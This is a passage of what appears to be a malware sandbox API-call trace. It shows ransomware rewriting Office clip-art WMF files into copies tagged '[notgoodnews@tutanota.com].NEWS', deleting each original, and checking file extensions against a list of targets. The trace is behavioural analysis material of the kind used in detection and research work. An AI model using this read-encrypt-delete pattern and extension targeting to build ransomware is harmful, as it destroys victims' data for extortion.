dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0183.215] GetLastError () returned 0x0 [0183.215] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1374, lpOverlapped=0x0) returned 1 [0183.685] WriteFile (in: hFile=0x560, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1380, lpOverlapped=0x0) returned 1 [0183.687] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.687] WriteFile (in: hFile=0x560, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.687] SetEndOfFile (hFile=0x560) returned 1 [0183.687] CloseHandle (hObject=0x560) returned 1 [0183.692] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.692] SetEndOfFile (hFile=0x4f0) returned 1 [0183.701] CloseHandle (hObject=0x4f0) returned 1 [0183.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0183.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 1 [0183.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0183.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0183.707] lstrlenW (lpString=".doc") returned 4 [0183.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.707] lstrlenW (lpString=".docx") returned 5 [0183.707] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0183.707] lstrlenW (lpString=".pdf") returned 4 [0183.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.707] lstrlenW (lpString=".xls") returned 4 [0183.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.707] lstrlenW (lpString=".xlsx") returned 5 [0183.707] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0183.707] lstrlenW (lpString=".ppt") returned 4 [0183.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0183.707] lstrlenW (lpString=".zip") returned 4 [0183.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.707] lstrlenW (lpString=".rar") returned 4 [0183.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.707] lstrlenW (lpString=".bz2") returned 4 [0183.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.708] lstrlenW (lpString=".7z") returned 3 [0183.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0183.708] lstrlenW (lpString=".dbf") returned 4 [0183.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0183.708] lstrlenW (lpString=".1cd") returned 4 [0183.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0183.708] lstrlenW (lpString=".jpg") returned 4 [0183.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0183.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0183.708] lstrlenW (lpString=".doc") returned 4 [0183.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.708] lstrlenW (lpString=".docx") returned 5 [0183.708] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0183.708] lstrlenW (lpString=".pdf") returned 4 [0183.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.708] lstrlenW (lpString=".xls") returned 4 [0183.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.708] lstrlenW (lpString=".xlsx") returned 5 [0183.708] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0183.708] lstrlenW (lpString=".ppt") returned 4 [0183.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0183.708] lstrlenW (lpString=".zip") returned 4 [0183.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.708] lstrlenW (lpString=".rar") returned 4 [0183.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.708] lstrlenW (lpString=".bz2") returned 4 [0183.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.709] lstrlenW (lpString=".7z") returned 3 [0183.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0183.709] lstrlenW (lpString=".dbf") returned 4 [0183.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0183.709] lstrlenW (lpString=".1cd") returned 4 [0183.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68 [0183.709] lstrlenW (lpString=".jpg") returned 4 [0183.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.709] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0183.709] lstrlenW (lpString="J0107492.WMF") returned 12 [0183.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0184.235] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=6860) returned 1 [0184.235] CloseHandle (hObject=0x544) returned 1 [0184.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 0x220 [0184.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0184.236] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.236] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0184.237] GetLastError () returned 0x0 [0184.238] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1acc, lpOverlapped=0x0) returned 1 [0184.245] WriteFile (in: hFile=0x454, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0184.247] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.247] WriteFile (in: hFile=0x454, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.247] SetEndOfFile (hFile=0x454) returned 1 [0184.247] CloseHandle (hObject=0x454) returned 1 [0184.247] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.247] SetEndOfFile (hFile=0x544) returned 1 [0184.250] CloseHandle (hObject=0x544) returned 1 [0184.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 1 [0184.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0184.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0184.322] lstrlenW (lpString=".doc") returned 4 [0184.323] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.323] lstrlenW (lpString=".docx") returned 5 [0184.323] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.323] lstrlenW (lpString=".pdf") returned 4 [0184.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.323] lstrlenW (lpString=".xls") returned 4 [0184.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.323] lstrlenW (lpString=".xlsx") returned 5 [0184.323] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.323] lstrlenW (lpString=".ppt") returned 4 [0184.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0184.323] lstrlenW (lpString=".zip") returned 4 [0184.323] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.323] lstrlenW (lpString=".rar") returned 4 [0184.323] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.323] lstrlenW (lpString=".bz2") returned 4 [0184.323] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.323] lstrlenW (lpString=".7z") returned 3 [0184.323] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0184.323] lstrlenW (lpString=".dbf") returned 4 [0184.323] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0184.323] lstrlenW (lpString=".1cd") returned 4 [0184.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0184.324] lstrlenW (lpString=".jpg") returned 4 [0184.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0184.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0184.324] lstrlenW (lpString=".doc") returned 4 [0184.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.324] lstrlenW (lpString=".docx") returned 5 [0184.324] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.324] lstrlenW (lpString=".pdf") returned 4 [0184.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.324] lstrlenW (lpString=".xls") returned 4 [0184.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.324] lstrlenW (lpString=".xlsx") returned 5 [0184.324] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.324] lstrlenW (lpString=".ppt") returned 4 [0184.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0184.324] lstrlenW (lpString=".zip") returned 4 [0184.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.324] lstrlenW (lpString=".rar") returned 4 [0184.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.324] lstrlenW (lpString=".bz2") returned 4 [0184.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.324] lstrlenW (lpString=".7z") returned 3 [0184.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0184.324] lstrlenW (lpString=".dbf") returned 4 [0184.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0184.325] lstrlenW (lpString=".1cd") returned 4 [0184.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0184.325] lstrlenW (lpString=".jpg") returned 4 [0184.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.325] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.325] lstrlenW (lpString="J0107516.WMF") returned 12 [0184.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0184.507] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=14008) returned 1 [0184.507] CloseHandle (hObject=0x53c) returned 1 [0184.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 0x220 [0184.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0184.671] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.671] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0184.673] GetLastError () returned 0x0 [0184.673] ReadFile (in: hFile=0x36c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x36b8, lpOverlapped=0x0) returned 1 [0184.678] WriteFile (in: hFile=0x3f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x36c0, lpOverlapped=0x0) returned 1 [0184.680] ReadFile (in: hFile=0x36c, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.680] WriteFile (in: hFile=0x3f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.680] SetEndOfFile (hFile=0x3f4) returned 1 [0184.681] CloseHandle (hObject=0x3f4) returned 1 [0184.681] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.681] SetEndOfFile (hFile=0x36c) returned 1 [0184.684] CloseHandle (hObject=0x36c) returned 1 [0184.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0184.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 1 [0184.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0184.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0184.686] lstrlenW (lpString=".doc") returned 4 [0184.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.687] lstrlenW (lpString=".docx") returned 5 [0184.687] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0184.687] lstrlenW (lpString=".pdf") returned 4 [0184.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.687] lstrlenW (lpString=".xls") returned 4 [0184.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.687] lstrlenW (lpString=".xlsx") returned 5 [0184.687] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0184.687] lstrlenW (lpString=".ppt") returned 4 [0184.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0184.687] lstrlenW (lpString=".zip") returned 4 [0184.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.687] lstrlenW (lpString=".rar") returned 4 [0184.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.687] lstrlenW (lpString=".bz2") returned 4 [0184.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.687] lstrlenW (lpString=".7z") returned 3 [0184.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0184.687] lstrlenW (lpString=".dbf") returned 4 [0184.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0184.687] lstrlenW (lpString=".1cd") returned 4 [0184.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0184.687] lstrlenW (lpString=".jpg") returned 4 [0184.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0184.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0184.688] lstrlenW (lpString=".doc") returned 4 [0184.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.688] lstrlenW (lpString=".docx") returned 5 [0184.688] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0184.688] lstrlenW (lpString=".pdf") returned 4 [0184.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.688] lstrlenW (lpString=".xls") returned 4 [0184.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.688] lstrlenW (lpString=".xlsx") returned 5 [0184.688] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0184.688] lstrlenW (lpString=".ppt") returned 4 [0184.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0184.688] lstrlenW (lpString=".zip") returned 4 [0184.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.688] lstrlenW (lpString=".rar") returned 4 [0184.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.688] lstrlenW (lpString=".bz2") returned 4 [0184.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.688] lstrlenW (lpString=".7z") returned 3 [0184.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0184.688] lstrlenW (lpString=".dbf") returned 4 [0184.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0184.688] lstrlenW (lpString=".1cd") returned 4 [0184.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF") returned 68 [0184.689] lstrlenW (lpString=".jpg") returned 4 [0184.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.689] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0184.689] lstrlenW (lpString="J0107724.WMF") returned 12 [0184.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0184.706] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=7016) returned 1 [0184.706] CloseHandle (hObject=0x36c) returned 1 [0184.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 0x220 [0184.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0184.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0184.707] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.707] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 